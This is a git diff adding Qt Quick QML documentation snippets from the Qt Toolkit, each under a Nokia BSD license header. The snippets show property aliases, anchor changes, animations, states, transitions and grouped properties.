+Applications created using Qt Quick are subject to the terms and conditions of the GNU Lesser General Public License as Qt Quick includes dependencies to QtScript and JavaScriptCore which are licensed under the terms of the GNU Library General Public License ("LGPL"). Qt Commercial Edition licensees that wish to distribute applications that use the Qt Quick need to be aware of their obligations under the LGPL. Individual contributor names and copyright dates can be found inline in the code. This library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with this library; see the file COPYING.LIB. If not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+
+On the Qt web site, you can find a
+\l{Qt Licensing Overview} and information on \l{Qt License Pricing}
+for commercial editions of Qt and other Qt-related products.
+*/
diff --git a/doc/src/snippets/declarative/Button.qml b/doc/src/snippets/declarative/Button.qml
new file mode 100644
index 00000000..f130df95
--- /dev/null
+++ b/doc/src/snippets/declarative/Button.qml
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+
+//! [property alias]
+property alias buttonLabel: label.text
+Text {
+ id: label
+ text: "empty label"
+}
+ //! [property alias]
+
+//! [id alias]
+ property alias buttonImage: image
+
+ Image {id: image}
+//! [id alias]
+//! [parent end]
+}
+//! [parent end]
+
+//! [document]
+
+
diff --git a/doc/src/snippets/declarative/SelfDestroyingRect.qml b/doc/src/snippets/declarative/SelfDestroyingRect.qml
new file mode 100644
index 00000000..4cc3e079
--- /dev/null
+++ b/doc/src/snippets/declarative/SelfDestroyingRect.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 80; height: 80
+ color: "red"
+
+ NumberAnimation on opacity {
+ to: 0
+ duration: 1000
+
+ onRunningChanged: {
+ if (!running) {
+ console.log("Destroying...")
+ rect.destroy();
+ }
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/Sprite.qml b/doc/src/snippets/declarative/Sprite.qml
new file mode 100644
index 00000000..4320552e
--- /dev/null
+++ b/doc/src/snippets/declarative/Sprite.qml
@@ -0,0 +1,45 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle { width: 80; height: 50; color: "red" }
+//![0]
diff --git a/doc/src/snippets/declarative/anchoranimation.qml b/doc/src/snippets/declarative/anchoranimation.qml
new file mode 100644
index 00000000..fdbed225
--- /dev/null
+++ b/doc/src/snippets/declarative/anchoranimation.qml
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Item {
+ id: container
+ width: 200; height: 200
+
+ Rectangle {
+ id: myRect
+ width: 100; height: 100
+ color: "red"
+ }
+
+ states: State {
+ name: "reanchored"
+ AnchorChanges { target: myRect; anchors.right: container.right }
+ }
+
+ transitions: Transition {
+ // smoothly reanchor myRect and move into new position
+ AnchorAnimation { duration: 1000 }
+ }
+
+ Component.onCompleted: container.state = "reanchored"
+}
+//![0]
diff --git a/doc/src/snippets/declarative/anchorchanges.qml b/doc/src/snippets/declarative/anchorchanges.qml
new file mode 100644
index 00000000..eab88265
--- /dev/null
+++ b/doc/src/snippets/declarative/anchorchanges.qml
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: window
+ width: 120; height: 120
+ color: "black"
+
+ Rectangle { id: myRect; width: 50; height: 50; color: "red" }
+
+ states: State {
+ name: "reanchored"
+
+ AnchorChanges {
+ target: myRect
+ anchors.top: window.top
+ anchors.bottom: window.bottom
+ }
+ PropertyChanges {
+ target: myRect
+ anchors.topMargin: 10
+ anchors.bottomMargin: 10
+ }
+ }
+
+ MouseArea { anchors.fill: parent; onClicked: window.state = "reanchored" }
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/animatedimage.qml b/doc/src/snippets/declarative/animatedimage.qml
new file mode 100644
index 00000000..dd1cfa1a
--- /dev/null
+++ b/doc/src/snippets/declarative/animatedimage.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// This snippet should be turned into an example and put in
+// examples/declarative/imageelements/animatedimage
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: animation.width; height: animation.height + 8
+
+ AnimatedImage { id: animation; source: "animation.gif" }
+
+ Rectangle {
+ property int frames: animation.frameCount
+
+ width: 4; height: 8
+ x: (animation.width - width) * animation.currentFrame / frames
+ y: animation.height
+ color: "red"
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/animation.qml b/doc/src/snippets/declarative/animation.qml
new file mode 100644
index 00000000..9b3d1f35
--- /dev/null
+++ b/doc/src/snippets/declarative/animation.qml
@@ -0,0 +1,226 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+import QtQuick 1.0
+
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ width: 200; height: 600
+ id: screen
+
+Column {
+ spacing: 12
+//! [direct property change]
+Rectangle {
+ id: blob
+ width: 75; height: 75
+ color: "blue"
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: blob.color = "green"
+ }
+}
+//! [direct property change]
+
+//! [property animation]
+Rectangle {
+ id: flashingblob
+ width: 75; height: 75
+ color: "blue"
+ opacity: 1.0
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ animateColor.start()
+ animateOpacity.start()
+ }
+ }
+
+ PropertyAnimation {id: animateColor; target: flashingblob; properties: "color"; to: "green"; duration: 100}
+
+ NumberAnimation {
+ id: animateOpacity
+ target: flashingblob
+ properties: "opacity"
+ from: 0.99
+ to: 1.0
+ loops: Animation.Infinite
+ easing {type: Easing.OutBack; overshoot: 500}
+ }
+}
+//! [property animation]
+
+//! [transition animation]
+Rectangle {
+ width: 75; height: 75
+ id: button
+ state: "RELEASED"
+
+ MouseArea {
+ anchors.fill: parent
+ onPressed: button.state = "PRESSED"
+ onReleased: button.state = "RELEASED"
+ }
+
+ states: [
+ State {
+ name: "PRESSED"
+ PropertyChanges { target: button; color: "lightblue"}
+ },
+ State {
+ name: "RELEASED"
+ PropertyChanges { target: button; color: "lightsteelblue"}
+ }
+ ]
+
+ transitions: [
+ Transition {
+ from: "PRESSED"
+ to: "RELEASED"
+ ColorAnimation { target: button; duration: 100}
+ },
+ Transition {
+ from: "RELEASED"
+ to: "PRESSED"
+ ColorAnimation { target: button; duration: 100}
+ }
+ ]
+}
+//! [transition animation]
+
+Rectangle {
+ width: 75; height: 75
+ id: wildcard
+ color: "green"
+//! [wildcard animation]
+ transitions:
+ Transition {
+ to: "*"
+ ColorAnimation { target: button; duration: 100}
+ }
+//! [wildcard animation]
+
+ MouseArea {
+ anchors.fill: parent
+ onPressed: {
+ ball.x = 10
+ ball.color = "red"
+ }
+ onReleased: {
+ ball.x = screen.width / 2
+ ball.color = "salmon"
+ }
+ }
+}
+
+//! [behavior animation]
+Rectangle {
+ width: 75; height: 75; radius: width
+ id: ball
+ color: "salmon"
+
+ Behavior on x {
+ NumberAnimation {
+ id: bouncebehavior
+ easing {
+ type: Easing.OutElastic
+ amplitude: 1.0
+ period: 0.5
+ }
+ }
+ }
+ Behavior on y {
+ animation: bouncebehavior
+ }
+ Behavior {
+ ColorAnimation { target: ball; duration: 100 }
+ }
+}
+//! [behavior animation]
+
+//! [sequential animation]
+Rectangle {
+ id: banner
+ width: 150; height: 100; border.color: "black"
+
+ Column {
+ anchors.centerIn: parent
+ Text {
+ id: code
+ text: "Code less."
+ opacity: 0.01
+ }
+ Text {
+ id: create
+ text: "Create more."
+ opacity: 0.01
+ }
+ Text {
+ id: deploy
+ text: "Deploy everywhere."
+ opacity: 0.01
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onPressed: playbanner.start()
+ }
+
+ SequentialAnimation {
+ id: playbanner
+ running: false
+ NumberAnimation { target: code; property: "opacity"; to: 1.0; duration: 200}
+ NumberAnimation { target: create; property: "opacity"; to: 1.0; duration: 200}
+ NumberAnimation { target: deploy; property: "opacity"; to: 1.0; duration: 200}
+ }
+}
+//! [sequential animation]
+
+}//end of col
+//! [parent end]
+}
+//! [parent end]
+
+//! [document]
diff --git a/doc/src/snippets/declarative/application.qml b/doc/src/snippets/declarative/application.qml
new file mode 100644
index 00000000..3fa55ef9
--- /dev/null
+++ b/doc/src/snippets/declarative/application.qml
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.1
+
+Rectangle {
+ width: 300; height: 55
+ color: Qt.application.active ? "white" : "lightgray"
+ Text {
+ text: "Application " + (Qt.application.active ? "active" : "inactive")
+ opacity: Qt.application.active ? 1.0 : 0.5
+ anchors.centerIn: parent
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/arrow.png b/doc/src/snippets/declarative/arrow.png
new file mode 100644
index 00000000..f0cae21f
--- /dev/null
+++ b/doc/src/snippets/declarative/arrow.png
Binary files differ
diff --git a/doc/src/snippets/declarative/behavior.qml b/doc/src/snippets/declarative/behavior.qml
new file mode 100644
index 00000000..2d910c76
--- /dev/null
+++ b/doc/src/snippets/declarative/behavior.qml
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ Behavior on width {
+ NumberAnimation { duration: 1000 }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: rect.width = 50
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/bestpractices/group.qml b/doc/src/snippets/declarative/bestpractices/group.qml
new file mode 100644
index 00000000..af726931
--- /dev/null
+++ b/doc/src/snippets/declarative/bestpractices/group.qml
@@ -0,0 +1,76 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+//! [document]
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ width: 175; height: 175; color: "white"
+
+Rectangle{
+width: 170; height: 170
+//! [not grouped]
+border.width: 1
+border.color: "red"
+anchors.bottom: parent.bottom
+anchors.left: parent.left
+//! [not grouped]
+}
+Rectangle {
+ width: 100; height: 100
+
+//! [grouped]
+border {
+ width: 1;
+ color: "red"
+}
+anchors {
+ bottom: parent.bottom;
+ left: parent.left
+}
+//! [grouped]
+}
+//! [parent end]
+}
+//! [parent end]
+//! [document]
